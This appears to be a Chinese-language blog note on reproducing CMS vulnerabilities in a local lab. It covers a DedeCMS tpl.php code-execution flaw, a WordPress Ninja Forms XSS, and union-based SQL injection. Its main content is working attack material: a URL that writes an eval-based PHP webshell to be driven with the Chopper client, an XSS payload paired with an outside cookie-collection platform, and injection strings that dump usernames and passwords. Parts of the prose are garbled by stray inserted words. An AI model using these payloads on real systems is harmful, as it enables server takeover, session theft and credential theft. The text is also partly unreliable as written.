CMS漏洞复现

dedeCMS (CNVD-2018-01221)

类型:php

php类cms系统:dedecms、帝国cms、php16八、phpcms、cmstop、discuz、phpwind等
asp类cms系统:zblog、KingCMS等
国外的著名cms系统:joomla、WordPress 、magento、drupal 、mambo。mysql

dedeCMS (CNVD-2018-01221)sql

漏洞简介
Dedecms v5.7 sp2版本tpl.php存在代码执行漏洞,攻击者能够利用该漏洞在增长的新的标签中上传木马数据库

 

else if($action=='savetagfile')
{
    csrf_check();
    if(!preg_match("#^[a-z0-9_-]{1,}\.lib\.php$#i", $filename))
    {
        ShowMsg('文件名不合法,不容许进行操做!', '-1');
        exit();
    }
    require_once(DEDEINC.'/oxwindow.class.php');
    $tagname = preg_replace("#\.lib\.php$#i", "", $filename);
    $content = stripslashes($content);
    $truefile = DEDEINC.'/taglib/'.$filename;
    $fp = fopen($truefile, 'w');
    fwrite($fp, $content);
    fclose($fp);

 

 

 

首先咱们打开tpl.php文件后,找到指定目录,还有在PHP代码里发现了参数,咱们把他get下来,复制到URL里面,发现要上传东西,咱们首先要尝试随便传个,Ctrl+u查看源码,发现cookie

 

除此以外咱们还发现另一个参数,感受有用把他也get下来xss

咱们首先要尝试随便传个,Ctrl+u查看源码,发现 token的意思是“令牌”,是服务端生成的一串字符串,做为客户端进行请求的一个标识。把这个参数也get下来,而且赋值,函数

 

 再加上个一句话木马,post

最后获得以下网站

http://127.0.0.1/DedeCMS-V5.7-UTF8-SP2/uploads/dede/tpl.php?action=savetagfile&token=db3b7aab1cdd04a0ff498b6b369caec7&filename=123.lib.php&content=<?php @eval($_POST["hello"]);?>ui

而后打开菜刀,右键添加,在地址上面,本地IP加目录路径和建立的PHP文件名,点击添加,打开文档就OK

Wordpress (CVE-2018-19287)

环境搭建好了以后,打开网站根目录的url点击插件的已安装插件,启用Ninja Forms,

打开这个网站,发现有一个弹窗,可是弹窗不是目的,只是证实这个网站存在xss漏洞,

http://127.0.0.1/wp-admin/edit.php?post_status=trash&post_type=nf_sub&form_id=1"><script>alert(/POC3/);</script>&nf_form_filter&paged=1

 

http://www.l31.cc/index.php

 

这个xss后台,进去以后,建立项目,

把这个xss复制上去,成功。

 

查看xss。项目详情,就看到了cookie,

sql注入。。。

进入SQL命令行,

应该记住在网页上要先获取库名----->表名------>字段名------>最终的值

information_schema  
-tables  
-- table_name tables表中的字段名,存放着其余数据库中的表的名字

-columns
--columns_name tables表中的字段名,存放着其余数据库中的表的名字

-- table_schema 指定数据库,

database() mysql下的函数,表示当前数据库名


information_schema.tables

concat(table_name) from information_schema.tables where table_schema=database();  ‘security’

 

得到表名 

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema ='security'--+

得到全部用户名

?id=-1' union select 1,2,group_concat(username) from security.users--+

得到字段名

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

得到全部密码  

?id=-1' union select 1,2,group_concat(password) from security.users--+